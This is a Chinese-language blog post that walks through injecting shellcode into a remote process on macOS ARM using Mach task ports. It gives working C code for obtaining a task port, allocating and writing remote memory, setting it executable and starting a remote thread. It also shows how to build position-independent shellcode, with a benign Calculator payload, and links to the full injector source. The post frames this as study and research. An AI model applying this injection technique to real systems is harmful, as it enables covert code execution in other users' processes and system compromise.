macOS远程进程注入Shellcode
前言
非常感谢无私的郑佬分享某站的资源,看完 mach 相关章节后记录在 m1(arm) 下折腾远程进程注入的过程。
Mach IPC
Mach[1] 最初是由卡内基梅隆大学作为微内核开发的,现如今它是 macOS 内核 XNU 的核心。其中使用 task 的概念作为共享资源的最小单位,任务之间的通信通过基于单向通信通道的 Mach IPC 进行,这些消息在 port 之间传递,一个端口与之关联还有内核权限[2],任务可以通过端口权限发送或接收消息,端口权限决定任务可以执行哪些操作。
特殊权限的端口
• HOST_PORT 允许检索关于系统本身的各种信息。
• HOST_PRIV_PORT 允许加载或卸载内核扩展。
• TASK PORT 控制目标任务,可以读写它的虚拟内存,创建或停止线程。
Task Port 限制
由于任务端口非常强大,因此对它们的访问受到非常严格的控制。除了 com.apple.system-task-ports
是由 Apple 独有权限并不会授权给第三方应用之外还有如下几种情况可以使用任务端口:
1. 目标应用程序拥有
com.apple.security.get-task-allow
授权。2. 如果目标应用程序不是 Apple 平台二进制文件,也没使用强化运行时(Hardened Runtime[3])编译的,以 root 身份运行,就可以获得它的端口。
2.1 或者恶意程序带着com.apple.security.cs.debugger
调试工具授权[4],则在运行时弹出授权对话框需要用户的允许。
远程进程代码注入
主要步骤如下:
• 获取远程进程任务端口
• 分配虚拟内存
• 将数据写入内存
• 为分配的虚拟内存区域设置访问控制
• 远程线程执行
实践:远程进程注入shellcode
巴斯本人使用的m1(arm)
机器,接下来的就是演示 arm 下远程进程注入shellcode的操作过程。
目标程序
测试的目标程序使用之前 tap-10000.m
为例:
#import <Foundation/Foundation.h>
int main(int argc, const char *argv[]) {
@autoreleasepool {
int count = 10000;
char none[30] = {0};
NSLog(@"[tap1000]pid -> %d", getpid());
NSLog(@"-> %d", count);
while (count > 0) {
gets(none);
count--;
NSLog(@"-> %d", count);
}
}
return 0;
}
编译:clang -framework Foundation tap-10000.m -o tap10000
Arm Shellcode
准备个测试用的 shellcode,比如执行:/bin/zsh -c "open /System/Applications/Calculator.app"
正常写法如下:
#include <unistd.h>
int main(void)
{
char *cmd[] = {"/bin/zsh", "-c", "open /System/Applications/Calculator.app", NULL};
execv(cmd[0], cmd);
return 0;
}
生成 shellcode 不合格,包含 rip 相对寻址和__stub
外部调用:
第一步:消除__stub
外部调用。通过printf("%p \n", execv);
打印 evecv 的地址,如0x18a5f3c68
,用如下方式替换掉之前 evecv :
typedef int *(*execv_t)(const char *, char *const *);
execv_t my_execv = (execv_t)0x18a5f3c68;
...
第二步:消除相对寻址。将 "/bin/zsh"
替换为如下写法:
char cmd[9];
cmd[0] = '/';
cmd[1] = 'b';
cmd[2] = 'i';
cmd[3] = 'n';
cmd[4] = '/';
cmd[5] = 'z';
cmd[6] = 's';
cmd[7] = 'h';
cmd[8] = 0;
巴斯我写了个脚本将生成字符串转为char[]
:
a = [
'/bin/zsh',
'-c',
'open /System/Applications/Calculator.app',
]
j = 0
for s in a:
i = 0
for c in s:
print("arg%d[%d]='%s';"%(j,i, c))
i+=1
print("arg%d[%d]=0;\n\n"%(j,i))
j+=1
最终代码如下:
https://github.com/ac0d3r/mach101/blob/main/shellcode/clang/execve20_arm.c
• 编译:
clang -shared -fno-stack-protector -o execve20_arm execve20_arm.c
• 反汇编:
objdump -d --print-imm-hex execve20_arm
远程进程注入shellcode
通过 task_for_pid 获取进程 pid 任务端口:
pid_t pid = 1024;
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
...
分别分配堆栈、代码内存空间:
#define STACK_SIZE 0x1000
#define CODE_SIZE 512
...
mach_vm_address_t remoteStack64 = (vm_address_t)NULL;
mach_vm_address_t remoteCode64 = (vm_address_t)NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE,
VM_FLAGS_ANYWHERE);
...
kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE);
将 shellcode 写入代码内存空间:
kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t)shellcode, CODE_SIZE);
为分配的虚拟内存区域设置访问控制,堆栈设置读和执行权限、内存设置读写权限:
kr = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
..
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE,
VM_PROT_READ | VM_PROT_WRITE);
远程线程执行,在arm下使用 arm_thread_state64_t
结构来存储有关线程的信息,指令指针和堆栈指针分别是__pc
和 __sp
,而在x86 则是用 x86_thread_state64_t
结构,指令指针和堆栈指针分别是:__rip
和 __rsp
。
arm_thread_state64_t remoteThreadState64;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
// shift stack 对其
remoteStack64 += (STACK_SIZE / 2);
remoteThreadState64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.__sp = (u_int64_t)remoteStack64;
// thread variable
thread_act_t remoteThread;
// create thread
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64,
(thread_state_t)&remoteThreadState64,
ARM_THREAD_STATE64_COUNT, &remoteThread);
最终代码如下:
https://github.com/ac0d3r/mach101/blob/main/mach/injecting-shellcode_arm.m
编译:clang -framework AppKit -framework Foundation injecting-shellcode_arm.m -o demo
测试
执行成功,不过目标进程也异常:warning: this program uses gets(), which is unsafe.
还没有排查是哪里问题(xiao。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。